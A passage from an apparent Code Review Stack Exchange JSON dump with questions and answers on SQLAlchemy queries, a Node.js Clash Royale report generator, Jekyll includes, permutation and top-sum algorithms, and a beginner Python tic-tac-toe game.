So for example, in the destructor you can write:</p>\n<pre><code>~WorkerThread() {\n {\n std::unique_lock lock{_mutex};\n _stop = true;\n }\n\n _signal.notify_one();\n _thread.join();\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T20:44:16.870",
"Id": "260314",
"ParentId": "260291",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "260314",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T10:02:39.280",
"Id": "260291",
"Score": "3",
"Tags": [
"c++",
"multithreading",
"c++17"
],
"Title": "Asynchronous dispatch queue"
}
|
260291
|
<p>I am using <code>psycopg2</code> & <code>sqlalchemy</code> to connect to a database and extract information from a table as follows:</p>
<pre><code>def db_connection():
eng = db.create_engine('my_URI')
conn = eng.connect()
return eng, conn
def table_conn():
engine, connection = db_connection()
metadata = db.MetaData()
admin_table = db.Table(
'myTableName',
metadata,
autoload=True,
autoload_with=engine
)
return engine, connection, admin_table
def get_table_data(user_id):
_, connection, table_data = table_conn()
# first filter using user_id and sort the data by datetime column
query = db.select([table_data]).where(
table_data.columns.user_id == user_id,
).order_by(
table_data.columns.created_at.desc()
)
result = connection.execute(query).fetchall()
# 5th element is time
# filtering the data to find data that has been saved at the same time
# making it the latest data
time = result[0][5]
time_filtering_query = db.select([table_data]).where(
table_data.columns.created_at == time
)
time_result = connection.execute(time_filtering_query).fetchall()
return time_result
</code></pre>
<p>The functions: <code>db_connection()</code> & <code>table_conn()</code> are connecting to the database and the table respectively.</p>
<p>In the <code>get_table_data</code> function, I am doing the following:</p>
<ol>
<li>Use the <code>user_id</code> to filter the table</li>
<li>Order the table in <code>desc</code> order on the <code>created_at</code> column (which is the 5th column of the table)</li>
<li>Extract the first <code>created_at</code> value (which is <code>result[0][5]</code> in the code above)</li>
<li>And use this extracted value to filter the table again</li>
</ol>
<p>In the code, I am hardcoding the column index in the <code>result[0][5]</code> part. Is there a way the above code can be modified to avoid hardcoding of the values and filter the values, if possible, based on the column names or in any other neater way?</p>
|
[] |
[
{
"body": "<p>You should avoid doing <code>[0]</code> after your query. Instead, add a <code>.limit(1)</code> at the end of your <code>select</code>.</p>\n<p>SQA supports named column references on individual result tuples. So in addition to supporting <code>[5]</code>, which is (as you've identified) a bad idea - it should just support <code>.time</code> assuming that's what your column name is. However, even better is - rather than selecting the entire <code>table_data</code> - simply select only the column you want.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T15:42:42.373",
"Id": "513812",
"Score": "0",
"body": "Thanks a lot for the clue. This was really helpful"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T14:46:37.133",
"Id": "260306",
"ParentId": "260296",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "260306",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T11:05:32.043",
"Id": "260296",
"Score": "1",
"Tags": [
"python",
"python-3.x",
"sqlalchemy"
],
"Title": "Filtering data from an exisiting table using psycopg2+sqlalchemy"
}
|
260296
|
<p>The following code generates a report showing performance of clan members in a game called Clash Royale.
Everything is pretty self-explanatory, we are working with a lot of https requests, arrays and sorting.</p>
<pre class="lang-js prettyprint-override"><code>const https = require("https");
const clanTag = "L2P8GRJR";
const token = "TOKEN_HERE"
let rawData = '';
let topDonators = [];
let worstDonators = [];
let bestPlayers = [];
let counter = 0;
const mergeByProperty = (target, source, prop) => {
source.forEach(sourceElement => {
let targetElement = target.find(targetElement => {
return sourceElement[prop] === targetElement[prop];
})
targetElement ? Object.assign(targetElement, sourceElement) : null;
})
}
const finalise = () => {
if (counter !== 2) return;
let result = `CR Clan Youtube Weekly Report
°•°•°•°•°•°•°•°•°•°•°•°•
— Top Donators ——
~~~~~~~~~~~~~~~~~~
${topDonators.map((x, i) => `${i + 1}. ${x.name} - ${x.donations}`).join('\n')}
--------------------
— Back Donators ( < 100 ) ——
~~~~~~~~~~~~~~~~~~~
${worstDonators.map((x, i) => `${50 - i}. ${x.name} - ${x.donations}`).join('\n')}
--------------------
— Net Best Players ——
(Donations × Fame earned ÷ (100 × 1000))
===================
${bestPlayers.map((x, i) => `${i + 1}. ${x.name} - ${x.netScore}`).join('\n')}
===================
{ ${bestPlayers[0].name} } is the player of the week, congrats!
Data automatically fetched and compiled at ${new Date().toUTCString()}.
Earn fame in river race and donate cards to improve your net score which will be published on Sunday. Player of The Week will be chosen based on net score. Better net score may also result in promotion.
CR may not show full report to some players, hence this report is also published to the Discord server (link in the description).`
console.log(result)
}
https.get(`https://proxy.royaleapi.dev/v1/clans/%23${clanTag}/members`, {
headers: {
authorization: token
}
}, (res) => {
res.on("data", (data) => {
rawData += data
})
res.on("end", () => {
rawData = JSON.parse(rawData).items
topDonators = [...rawData].sort((a, b) => b.donations - a.donations).slice(0, 10)
rawData.forEach(elm => {
if (elm.donations < 100) worstDonators.push(elm)
})
worstDonators.sort((a, b) => a.donations - b.donations)
counter++;
finalise()
})
})
https.get(`https://proxy.royaleapi.dev/v1/clans/%23${clanTag}/currentriverrace`, {
headers: {
authorization: token
}
}, res => {
let warData = [];
res.on("data", data => {
warData += data
})
res.on("end", () => {
warData = JSON.parse(warData).clan.participants;
mergeByProperty(rawData, warData, "tag")
bestPlayers = [...rawData].map(elm => {elm.netScore = elm.fame * elm.donations / 100000; return elm;}).sort((a,b) => b.netScore - a.netScore).slice(0, 10)
counter++;
finalise()
})
})
</code></pre>
<p>A proxy is being used but just know that that's a necessity.</p>
<p>Performance is the main point here but I would love review on any and every point.</p>
|
[] |
[
{
"body": "<p>Cool project!</p>\n<p>Good work so far.</p>\n<p>Clean code is important and that's one of the things I struggle with. A lot.</p>\n<p>From your code, I can see that you would benefit a lot from that too.</p>\n<pre><code>const token = "TOKEN_HERE";\n</code></pre>\n<p>Tokens and sensitive information you should try to store in <code>.env</code> files. Especially if your code might be accessible on github or similar sites.</p>\n<pre><code>const mergeByProperty...\n</code></pre>\n<p>This function seems too complicated for what you want to do. I really don't think you need it at all.</p>\n<p>Same for this:</p>\n<pre><code>const finalise...\n</code></pre>\n<p>Try to extract logic into functions, especially if you need to use it in other places.\nTry to identify repeating code, if you see that, then you might be able to create a function for it.</p>\n<p>Do not repeat yourself. Code you repeat is hard to maintain because if you make a small change you need to make that change everywhere.</p>\n<p>Naming your functions and variables is equally important and it's harder than it seems.</p>\n<p>This is what I would do differently (and even this can be improved a lot):</p>\n<pre><code>const baseUrl = 'https://proxy.royaleapi.dev/v1/clans';\nconst clanUrl = `${baseUrl}/#${clanTag}/`;\nconst requestOptions = {\n headers: {\n authorization: token\n }\n }\n\n// wrap your requests into a promise\nconst GET = (url, options = {}) => {\n return new Promise((resolve, reject) => {\n const request = https.get(url, options, (response) => {\n if (response.statusCode < 200 || response.statusCode > 299) {\n reject(new Error(response.statusCode));\n }\n let data = '';\n response.on('data', (chunk) => data += chunk);\n response.on('end', () => resolve(JSON.parse(data)));\n });\n request.on('error', (err) => reject(err))\n })\n};\n\n// do all the data manipulation inside these helper functions\n// this transforms the data you get from the server into the format\n// you want\n\nconst getMembers = (members) => {\n const donors = {\n top: [...members].sort((a, b) => b.donations - a.donations).slice(0, 10),\n worst: [...members].filter(x => x.donations < 100).sort((a, b) => a.donations - b.donations)\n }\n return donors;\n}\n\n// transform the data from server into the format you want\n\nconst getCurrentRiverRace= (clanParticipants) => {\n const clan = {\n participants: clanParticipants,\n bestPlayers: [...clanParticipants].map(x => { \n return {\n ...x,\n netScore: x.fame * x.donations / 100000\n };\n }).sort((a,b) => b.netScore - a.netScore).slice(0, 10)\n }\n return clan;\n}\n\n// this one makes both requests to the server at the same time\n// Notice the async. Since your requests return promises, this is how you\n// handle the promises\n\nconst requests = async () => {\n const membersCall = GET(`${clanUrl}/members`, requestOptions);\n const riverRaceCall = GET(`${clanUrl}/currentriverrace`, requestOptions);\n const [members, riverRace] = await Promise.all([membersCall, riverRaceCall]);\n \n return {\n members: getMembers(members),\n riverRace: getCurrentRiverRace(riverRace)\n }\n}\n\n// here you just 'finalise' or output whatever you want\n// you should handle the errors so maybe wrap it in a try/catch.\n\nconst output = async () => {\n try {\n //\n const r = await requests();\n const stats = `\n CR Clan Youtube Weekly Report\n °•°•°•°•°•°•°•°•°•°•°•°•\n\n — Top Donators ——\n ${stats.members.top}\n ....\n `;\n\n console.log(stats);\n return stats;\n } catch (err) {\n // here you handle the error in case the promise rejects\n // (returns error)\n // console.log is NOT error handling but it gives you an idea\n\n console.log(err);\n }\n}\n</code></pre>\n<p>Try to puzzle it together. I'm not sure if it's 100% functional but it should be pretty close. Consider it a homework :)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T15:25:14.410",
"Id": "513810",
"Score": "0",
"body": "Whatever you have done to my code is remarkable! Although I have one slight objection/question. You remarked that `finalise()` is too complicated. I do not know what can be improved in that. I think that the `counter` system can be improved probably by using promises but I am not sure."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T17:32:51.177",
"Id": "513817",
"Score": "0",
"body": "Sorry I didn’t have time to go more in depth. But there are more things to be improved here. You don’t really need the counter and yes you can promisify your requests."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T17:43:21.307",
"Id": "513818",
"Score": "0",
"body": "I’ll give you a more complete answer as soon as I can"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T09:13:07.553",
"Id": "513880",
"Score": "0",
"body": "i just updated the code snippet. Good luck!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T14:16:23.010",
"Id": "513903",
"Score": "0",
"body": "Thanks a lot for taking time to answer me. I loved that you also added error handling code parts. The promises logics are definitely top notch. Again, thanks a lot!"
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T14:08:36.720",
"Id": "260304",
"ParentId": "260297",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "260304",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T11:17:08.767",
"Id": "260297",
"Score": "2",
"Tags": [
"javascript",
"performance",
"array",
"sorting",
"node.js"
],
"Title": "Generating a performance report for clans in Clash Royale"
}
|
260297
|
<p>This is a fairly standard project based on Jekyll/Liquid. I'm trying to iterate over data object to include pages with different variables.</p>
<p>And since <code>{% include %}</code> and <code>%{ include_relative }%</code> tags are not permissive in terms of different symbols. This approach doesn't work:</p>
<p><code>{% include_relative _components/ranking.html rank=ranking['rank']</code></p>
<p>So I had to use a <code>{% capture %}</code> hack for <code>{% include_relative %}</code> to work.</p>
<pre><code><ul class="list-unstyled" style="column-count: 3;">
{% for ranking in site.data.infra-fund['scorecard']['rankings'] %}
{% capture rank %} {{ranking['rank']}} {% endcapture %}
{% capture name %} {{ranking['name']}} {% endcapture %}
{% capture size %} {{ranking['size']}} {% endcapture %}
<li>
{% include_relative _components/ranking.html rank=rank name=name size=size%}
</li>
{% endfor %}
</ul>
</code></pre>
<p>I have a feeling, that this is common problem and there should be a cleaner way to write this. Maybe anyone can advise?</p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T12:00:27.927",
"Id": "260298",
"Score": "1",
"Tags": [
"jekyll",
"liquid"
],
"Title": "iterating over json object in Jekyll to render pages with different variables"
}
|
260298
|
<pre><code>from itertools import permutations
def next_bigger(n):
nlist = list(str(n))
perm = permutations(nlist,len(str(n)))
perm = set(perm)
listofperm = []
nlist = int("".join(nlist))
for x in perm:
form = int("".join(x))
if form < nlist:
continue
else:
listofperm.append(form)
listofperm = sorted(listofperm)
if (listofperm.index(n) + 1) == len(listofperm):
indexofn = listofperm.index(n)
else:
indexofn = listofperm.index(n) + 1
return listofperm[indexofn]
</code></pre>
<p>I'm trying to get the next bigger number by rearranging the digits of <code>n</code> but my code is very inefficient can you suggest ways to make my code more efficient and faster?</p>
<p>Inputs would be any integer.</p>
|
[] |
[
{
"body": "<p>It's not so much the implementation.</p>\n<p>With problems like these (typical coding competition ones) it's always the same, that you have to find a clever algorithm instead of writing down as code a straightforward implementation of the problem description.</p>\n<p>I haven't myself analyzed the problem, but I'd try to answer some questions:</p>\n<ul>\n<li>Of all possible permutations, might it be enough to just exchange 2 digits? Or: Can you be sure that including a third digit into the exchange is irrelevant (result below the original number, result identical to the 2-digit case, or result higher than the 2-digit result, but not between the original number and the 2-digit result)?</li>\n<li>If you can prove two digits to be enough, which are the two digits that give the smallest result (greater than the original number)?</li>\n</ul>\n<p>Maybe it helps to do some examples by hand and see some pattern.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T21:36:53.733",
"Id": "513833",
"Score": "0",
"body": "not python, but it's the answer https://en.cppreference.com/w/cpp/algorithm/next_permutation"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T13:53:13.557",
"Id": "260303",
"ParentId": "260299",
"Score": "1"
}
},
{
"body": "<p>Since this is asking for a new algorithm, I will try to provide some hints. Look at the output of</p>\n<pre><code>from itertools import permutations\nsorted([a*1000 + x*100 + y*10 + z for a,x,y,z in permutations([1,2,3,4])])\n</code></pre>\n<p>Which digits are most likely to be different between consecutive members of this list?</p>\n<p>Look at the elements that start with <code>4</code>. Can you see a pattern in the rest of their digits? If so, how do the rest of the digits have to change when the first changes?</p>\n<p>Does the same pattern hold for digits <code>a,b,c,d</code> in place of <code>1,2,3,4</code>?</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T23:31:03.190",
"Id": "513842",
"Score": "1",
"body": "I see, thanks it gave me a new idea to implement this"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T15:54:53.857",
"Id": "260307",
"ParentId": "260299",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "260307",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T12:21:28.260",
"Id": "260299",
"Score": "0",
"Tags": [
"python",
"algorithm",
"time-limit-exceeded",
"combinatorics"
],
"Title": "Get the next bigger number by rearranging the digits of the input integer"
}
|
260299
|
<p>My question arises from <a href="https://math.stackexchange.com/questions/4122113/finding-the-top-sums-of-values-from-multiple-lists">this post</a> on MSE where I have provided an answer to solve the question :</p>
<blockquote>
<p>There are multiple lists given. The number of lists is arbitrary.
Each list contains numbers and is sorted descendingly.
We shall take exactly <span class="math-container">\$1\$</span> element from each list and calculate the sum of elements.How would you go about finding the top <span class="math-container">\$N\$</span> sums?</p>
</blockquote>
<p>Here the top sums need not to be different, just the indices of them. I wanted to write an algorithm to find the top <span class="math-container">\$N\$</span> <em>unique sums</em>, namely where the sum of elements is different. What I have done is using the same approach described in the linked post. The problem is that for some inputs there are lots of duplicate sums, so the research for the unique ones gets slower and slower. I post the implementation in python</p>
<pre><code>import time
def top_solutions_2(N,lists):
N_best = []
k, len_k_lists = len(lists), [len(x) for x in lists]
init_sol = (sum(x[0] for x in lists),tuple(0 for x in range(k)))
comp_list, new_vals = [[init_sol]], []
seen = {init_sol[1]}
for _ in range(N) :
curr_best = [float('-inf')]
for x in comp_list :
if x and x[-1][0] > curr_best[0] : curr_best = x[-1]
N_best.append(curr_best)
inds = []
for arr in comp_list :
while arr :
comp_val = arr.pop()
if curr_best[0] > comp_val[0] : arr.append(comp_val); break
inds.append(comp_val[1])
comp_list.append([])
for ind in inds :
for x in range(k) :
if len_k_lists[x] > ind[x]+1 : r = tuple(c if i != x else c+1 for i,c in enumerate(ind))
else : continue
if r not in seen :
curr_sum = curr_best[0]+lists[x][r[x]]-lists[x][r[x]-1]
comp_list[-1].append((curr_sum,r))
seen.add(r)
comp_list[-1].sort()
return N_best
for N in range(10,60,10) :
lists = [ [23,5,3,2,1],
[19,9,8,7,0],
[17,12,4,2,1],
[15,13,11,9,2],
[21,17,13,9,4],
[16,13,12,11,1],
[27,23,21,18,4],
[31,25,24,12,1],
[27,22,14,7,3],
[9,8,7,6,5]]
a = time.time()
top_solutions_2(N,lists)
b = time.time()
print("Top {} in {} sec".format(N,b-a))
</code></pre>
<p>where the output is</p>
<pre><code>Top 10 in 0.0 sec
Top 20 in 0.07787561416625977 sec
Top 30 in 0.5308513641357422 sec
Top 40 in 2.2048890590667725 sec
Top 50 in 7.203002452850342 sec
</code></pre>
<p>How can a more efficient algorithm with a lower complexity and/or a lower running time be made?And also, how can my approach be improved in efficiency?</p>
<p>Thank you in advance</p>
|
[] |
[
{
"body": "<p>I have written a new solution to the problem based on the same principles of the code in my question, but this time using a dictionary with keys equal to the seen sums and the indices as values. This is better because I don't need to sort anything, while in the other solution I need to sort every new list added, and also, I don't need to pop the max elements in each list, I just iterate through the indices of <code>max_sum</code>.</p>\n<pre><code>def top_solutions_2(N,lists):\n N_best = []\n k, len_k_lists = len(lists), [len(x) for x in lists]\n max_sum = sum(x[0] for x in lists)\n comp_dict = {max_sum : [tuple(0 for x in range(k))]}\n seen = {comp_dict[max_sum][0]}\n\n for _ in range(N) :\n\n N_best.append((max_sum,comp_dict[max_sum][0]))\n new_max = float('-inf')\n\n for ind in comp_dict[max_sum] :\n \n for x in range(k) :\n\n if len_k_lists[x] > ind[x]+1 : r = tuple(c if i != x else c+1 for i,c in enumerate(ind))\n else : continue\n\n if r not in seen :\n \n curr_sum = max_sum+lists[x][r[x]]-lists[x][r[x]-1]\n\n if curr_sum > new_max : new_max = curr_sum\n \n if curr_sum not in comp_dict : comp_dict[curr_sum] = [r]\n else : comp_dict[curr_sum].append(r)\n \n seen.add(r)\n\n comp_dict.pop(max_sum)\n max_sum = new_max\n \n return N_best \n</code></pre>\n<p>It is slightly better in performance : with N = 80 and the same lists of the other solution, this one executes in about 60 seconds, while the other in about 100 seconds.</p>\n<p>I think that just a new way to reduce the search space will improve the performance by a relevant amount, but I'm not sure how to achieve this.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T16:35:01.500",
"Id": "260346",
"ParentId": "260310",
"Score": "0"
}
},
{
"body": "<p>I am not sure if your post and my answer fits to code review because it is about algorithm design. But here is my proposal for a better algorithm. Use dynamic programming as my slow CAS does by multiplying from left to right.</p>\n<pre><code>(%i15) (x^9+x^8+x^7+x^6+x^5)*(x^15+x^13+x^11+x^9+x^2)*(x^16+x^13+x^12+x^11+x)*(x^17+x^12+x^4+x^2+x)*(x^19+x^9+x^8+x^7+1)*(x^21+x^17+x^13+x^9+x^4)*(x^23+x^5+x^3+x^2+x)*(x^27+x^22+x^14+x^7+x^3)*(x^27+x^23+x^21+x^18+x^4)*(x^31+x^25+x^24+x^12+x), expand;\nEvaluation took 0.3906 seconds (0.3999 elapsed) using 1.737 MB.\n(%o15) x^205+x^204+2*x^203+3*x^202+7*x^201+10*x^200+16*x^199+22*x^198+32*x^197+46*x^196+63*x^195+86*x^194+111*x^193+147*x^192+185*x^191+240*x^190+299*x^189+377*x^188+458*x^187+566*x^186+684*x^185+832*x^184+998*x^183+1198*x^182+1424*x^181+1681*x^180+1984*x^179+2323*x^178+2729*x^177+3159*x^176+3665*x^175+4200*x^174+4838*x^173+5516*x^172+6296*x^171+7124*x^170+8067*x^169+9079*x^168+10206*x^167+11441*x^166+12794*x^165+14277*x^164+15859*x^163+17612*x^162+19469*x^161+21536*x^160+23690*x^159+26067*x^158+28532*x^157+31226*x^156+34016*x^155+37030*x^154+40181*x^153+43503*x^152+46960*x^151+50574*x^150+54399*x^149+58318*x^148+62441*x^147+66633*x^146+71075*x^145+75517*x^144+80157*x^143+84816*x^142+89656*x^141+94450*x^140+99306*x^139+104175*x^138+109042*x^137+113903*x^136+118633*x^135+123410*x^134+127975*x^133+132545*x^132+136833*x^131+141134*x^130+145121*x^129+149024*x^128+152623*x^127+156096*x^126+159287*x^125+162190*x^124+164887*x^123+167197*x^122+169335*x^121+170943*x^120+172463*x^119+173393*x^118+174221*x^117+174442*x^116+174604*x^115+174190*x^114+173616*x^113+172588*x^112+171336*x^111+169705*x^110+167725*x^109+165584*x^108+162978*x^107+160261*x^106+157026*x^105+153909*x^104+150226*x^103+146659*x^102+142597*x^101+138750*x^100+134440*x^99+130219*x^98+125758*x^97+121379*x^96+116816*x^95+112165*x^94+107623*x^93+102964*x^92+98456*x^91+93757*x^90+89435*x^89+84873*x^88+80597*x^87+76125*x^86+72062*x^85+67811*x^84+63813*x^83+59784*x^82+56067*x^81+52360*x^80+48788*x^79+45413*x^78+42168*x^77+39094*x^76+36034*x^75+33312*x^74+30608*x^73+28148*x^72+25669*x^71+23529*x^70+21382*x^69+19446*x^68+17551*x^67+15916*x^66+14326*x^65+12869*x^64+11538*x^63+10365*x^62+9281*x^61+8241*x^60+7346*x^59+6504*x^58+5751*x^57+5004*x^56+4397*x^55+3813*x^54+3309*x^53+2833*x^52+2472*x^51+2135*x^50+1845*x^49+1581*x^48+1362*x^47+1153*x^46+956*x^45+792*x^44+649*x^43+533*x^42+426*x^41+354*x^40+291*x^39+247*x^38+199*x^37+163*x^36+128*x^35+98*x^34+71*x^33+51*x^32+39*x^31+28*x^30+21*x^29+16*x^28+14*x^27+10*x^26+7*x^25+5*x^24+3*x^23+x^22\n</code></pre>\n<p>If my post is not clear please tell me.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T11:56:46.980",
"Id": "513993",
"Score": "0",
"body": "thanks for the help, I'm not so good in dynamic programming, can you be more specific?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-06T14:51:41.600",
"Id": "514072",
"Score": "0",
"body": "@Tortar I added the dynamci programming approach [here](https://math.stackexchange.com/a/4123755/11206)"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T04:49:55.940",
"Id": "260356",
"ParentId": "260310",
"Score": "1"
}
},
{
"body": "<p>If each list is sorted in descending order, I don't see why you need seen lists at all. Like the previous post <a href=\"https://math.stackexchange.com/questions/4122113/finding-the-top-sums-of-values-from-multiple-lists\">https://math.stackexchange.com/questions/4122113/finding-the-top-sums-of-values-from-multiple-lists</a> you will always move to the next highest term in the list that reduces the sum the least -- ie, argmin{k}(list_k[x+1]-list_k[x]). Just that instead of moving once in list_k, you move while (list_k[x+1]==list_k[x])</p>\n<p>Alternatively, you could just remove duplicates from the lists at the beginning and then just use your previous solution</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T11:25:40.617",
"Id": "260368",
"ParentId": "260310",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T16:19:17.567",
"Id": "260310",
"Score": "0",
"Tags": [
"python",
"performance",
"algorithm",
"complexity"
],
"Title": "Finding unique top sums from multiple lists"
}
|
260310
|
<p>I've been teaching myself Python and decided to make a Tic Tac Toe game for a bit of practice. Any criticisms or pointers are welcome!</p>
<pre><code>class TicTacToe:
"""A class for playing tic tac toe"""
def __init__(self):
self.values = ["-", "-", "-",
"-", "-", "-",
"-", "-", "-"]
self.player = "x"
def show_board(self):
print(f"{self.values[0]} | {self.values[1]} | {self.values[2]}")
print(f"{self.values[3]} | {self.values[4]} | {self.values[5]}")
print(f"{self.values[6]} | {self.values[7]} | {self.values[8]}")
def play_game(self):
# display initial board
self.show_board()
# play for 9 turns max
for i in range(9):
self.handle_turn(self.values)
if self.check_tie() or self.winner():
break
def handle_turn(self, values):
# get next move from a player
try:
turn = int(input(f"Player {self.player} pick a square (1-9) from left to right: "))
except ValueError:
self.handle_turn(self.values)
return
# change values to show the move made (check square empty)
if self.values[turn-1] == "x" or self.values[turn-1] == "o":
print("That square has been played already!")
self.handle_turn(self.values)
else:
self.values[turn-1] = self.player
self.show_board()
# switch turns
self.flip_player()
def winner(self):
# check all possible win methods
self.row_winner = self.check_rows()
self.column_winner = self.check_columns()
self.diagonal_winner = self.check_diagonals()
#declare a winner
if self.row_winner:
winner = self.check_rows()
print(f"{winner} has won the game!")
return True
elif self.column_winner:
winner = self.check_columns()
print(f"{winner} has won the game!")
return True
elif self.diagonal_winner:
winner = self.check_diagonals()
print(f"{winner} has won the game!")
return True
def check_rows(self):
# Check for a win in the rows
row1 = self.values[0] == self.values[1] == self.values[2] != "-"
row2 = self.values[3] == self.values[4] == self.values[5] != "-"
row3 = self.values[6] == self.values[7] == self.values[8] != "-"
# Return the player that has won
if row1:
return self.values[0]
elif row2:
return self.values[3]
elif row3:
return self.values[6]
def check_columns(self):
# Check for a win in the columns
col1 = self.values[0] == self.values[3] == self.values[6] != "-"
col2 = self.values[1] == self.values[4] == self.values[7] != "-"
col3 = self.values[2] == self.values[5] == self.values[8] != "-"
# Return the winning player
if col1:
return self.values[0]
elif col2:
return self.values[1]
elif col3:
return self.values[2]
def check_diagonals(self):
# Check for win in the diagonals
dia1 = self.values[0] == self.values[4] == self.values[8] != "-"
dia2 = self.values[2] == self.values[4] == self.values[6] != "-"
# Return the player that has won
if dia1:
return self.values[0]
elif dia2:
return self.values[2]
def check_tie(self):
if "-" not in self.values:
print("Game is a tie!")
return True
else:
return False
def flip_player(self):
if self.player == "x":
self.player = "o"
else:
self.player = "x"
if __name__ == "__main__":
new_board = TicTacToe()
new_board.play_game()
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T20:43:11.960",
"Id": "513829",
"Score": "2",
"body": "have you missed a `else: return false` in `winner()` ? Relying on the null value is perhaps not advisable"
}
] |
[
{
"body": "<h1>Visuals</h1>\n<p>You can try</p>\n<pre><code>self.values = [["-" for _ in range(3)] for _ in range(3)]\n</code></pre>\n<p>This will let you set up a 3x3 grid without having to draw the whole thing.</p>\n<p>Now you can also do</p>\n<pre><code> def show_board(self):\n board_str = "\\n".join([ " | ".join(row) for row in grid ])\n print(board_str)\n</code></pre>\n<p>I would also suggest doing away with the show_board function altogether and instead use (for printing)</p>\n<pre><code> def __str__(self):\n return "\\n".join([ " | ".join(row) for row in grid ])\n</code></pre>\n<p>and/or (for printing in interactive console)</p>\n<pre><code> def __repr__(self):\n return "\\n".join([ " | ".join(row) for row in grid ])\n</code></pre>\n<p>Then you can directly do</p>\n<pre><code>xoxo = TicTacToe\nprint(xoxo)\n</code></pre>\n<p>and inside the class</p>\n<pre><code>print(self)\n</code></pre>\n<h1>Data Representation and Input</h1>\n<p>I'm repeating myself here, but it doesn't make sense to have values be a 1-dimensional array. It's a tic-tac-toe board... it should be a 2D 3x3 grid or board. Also you should probably rename the variable <code>values</code> to <code>grid</code> or <code>board</code>.</p>\n<p>This will mean taking 2 values as input from user in <code>handle_turn()</code>. I suggest not putting a large string inside <code>input()</code> as it's hard to read. Try instead</p>\n<pre><code>print("Enter space separated co-ordinates to pick a square")\nprint(f"Player {self.player} pick a square: "))\nx = int(input())\ny = int(input())\n</code></pre>\n<p>Ok, I'll admit this is a little annoying for the players.... maybe you could write the coordinates in the empty cells like</p>\n<pre><code> X | 1,2 | O\n2,1 | X | 1,3\n3,1 | 3,2 | O\n</code></pre>\n<p>(try to do this without writing out the whole starting grid manually, it should be possible using ",".join(), str() and list comprehensions)</p>\n<p>Also it should be possible to modify the row/column/diagonals functions with 2D indices like <code>grid[0][0]</code>, <code>grid[1][1]</code>, <code>grid[2][2]</code>, etc. to make it more readable. Due to the way <code>self.grid</code> is stored, the row function can be simplified... but it will look very different from column/diagonal and so it's probably not worth it.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T23:39:55.643",
"Id": "513843",
"Score": "1",
"body": "This is a useful review, and for beginners implementing tic-tac-toe with a 2d grid is intuitive -- so your advice is sound. That said, I have seen job candidates implement tic-tac-toe solutions in efficient, readable ways using 1d list (diagonal checks are easier in flatland, for example; same can arguably be said for collecting user input). Anyway, not a big deal, but it can be reasonable to solve grid problems with 1d data behind the scenes."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T13:11:06.873",
"Id": "513896",
"Score": "1",
"body": "@Hannah W. When using `self.values = [ [\"-\"] * 3 ] * 3` it seems like a copy of the original list is made three times, as in all three rows will be changed when making a single move, I may have implemented this incorrectly. Could it be better practice to use something like `self.values = [[\"-\"] * 3 for _ in range(3)] ` instead?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T14:36:42.910",
"Id": "513907",
"Score": "1",
"body": "@JLByrne yea, I'd missed this. Actually, it would be better to not mix syntax and just stick with 2 nested list comprehension imo."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T20:50:30.577",
"Id": "260315",
"ParentId": "260312",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "260315",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T16:38:31.987",
"Id": "260312",
"Score": "7",
"Tags": [
"python",
"beginner",
"game",
"tic-tac-toe"
],
"Title": "A beginner's first Tic Tac Toe implementation"
}
|
260312
|
<ol>
<li>Given an array of unique numbers find the combinations</li>
<li>Doing a shallow copy in the code to avoid changes to the passed obj by reference</li>
